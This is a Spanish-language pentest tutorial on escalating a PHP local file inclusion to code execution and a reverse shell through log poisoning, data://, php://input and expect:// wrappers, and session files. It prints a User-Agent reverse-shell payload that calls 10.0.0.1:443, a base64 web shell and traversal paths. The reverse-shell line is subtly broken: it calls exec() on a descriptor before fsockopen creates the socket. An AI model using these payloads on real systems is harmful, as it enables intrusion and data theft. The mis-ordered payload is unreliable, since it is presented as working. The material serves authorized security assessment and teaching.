De LFI a reverse shell: envenenamiento de logs y wrappers de PHP
Cómo una inclusión de archivos local (LFI) se convierte en ejecución de código y luego en una reverse shell: envenenamiento de logs, sesiones PHP y wrappers php://.
Una inclusión de archivos local (LFI) te permite hacer que una aplicación web incluya un archivo que no deberías controlar. Por sí sola filtra archivos; el paso interesante es convertirla en ejecución de código, momento en el cual una reverse shell en PHP queda a una petición de distancia. Esta entrada cubre las rutas estándar de LFI a RCE que usarías en una evaluación web autorizada.
La premisa en todo momento: tienes un endpoint como ?page=../../../../etc/passwd que incluye rutas influidas por el atacante, y quieres escalar de leer archivos a ejecutar código.
Ruta 1: envenenamiento de logs
Si puedes incluir un archivo cuyo contenido controlas, puedes plantar PHP en él y luego incluirlo. Los logs del servidor web son el candidato clásico porque escribes en ellos con cada petición.
- Envía una petición cuyo
User-Agentcontenga PHP:User-Agent: <?php exec("/bin/sh -i <&3 >&3 2>&3"); $sock=fsockopen("10.0.0.1",443); ?> - Esa cadena queda ahora escrita en el log de acceso (p. ej.
/var/log/apache2/access.log). - Incluye el log a través del LFI:
?page=/var/log/apache2/access.log - Cuando PHP renderiza el log, ejecuta tu código incrustado y la reverse shell se dispara.
La misma idea funciona con cualquier log o archivo en el que puedas influir — logs de autenticación de SSH (envenena vía nombre de usuario), logs de correo, o una subida cuyo contenido controlas.
Ruta 2: wrappers de PHP
Los stream wrappers de PHP pueden convertir un include en ejecución directa sin tocar el disco, si allow_url_include está activado:
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+
?page=php://input (send PHP code in the POST body)
?page=expect://id (if the expect extension is loaded)
php://filter también merece la pena conocerlo — no ejecuta, pero codifica en base64 los archivos fuente para que puedas leer PHP que de otro modo solo ejecutarías, lo que te ayuda a encontrar un mejor punto de apoyo.
Ruta 3: archivos de sesión de PHP
Si la aplicación almacena las sesiones en disco (/var/lib/php/sessions/sess_<id>) y refleja en la sesión cualquier entrada que controlas, escribe PHP en un valor de sesión y luego incluye el archivo de sesión por su ruta predecible. El mismo mecanismo que el envenenamiento de logs, distinto archivo.
Luego: la reverse shell
Una vez que cualquiera de estas te da ejecución de código, estás en la misma posición que con una reverse shell en PHP: suelta el payload fsockopen, arranca tu listener y mejora la shell cuando llegue (mejorar una reverse shell). Ten en cuenta disable_functions — el LFI te dio ejecución, pero el endurecimiento de PHP sigue aplicando.
Por qué falla
- Logs no legibles/escribibles por el usuario web, o rutas distintas según la distribución.
allow_url_includedesactivado — wrappers comodata://no ejecutarán.disable_functionsbloquea tu función de ejecución una vez que tienes RCE.- Egress filtrado de modo que la shell no puede llamar a casa — consulta filtrado de egress.
Genera el payload
Cuando alcances la ejecución de código, el generador de reverse shell te da un payload limpio de PHP con tu LHOST/LPORT y el listener correspondiente, de modo que el único rompecabezas que queda es la inclusión en sí.
Solo pruebas autorizadas
La explotación de LFI es para aplicaciones web de tu propiedad o que tengas autorización explícita para probar. La autorización es lo que separa una evaluación de un ataque.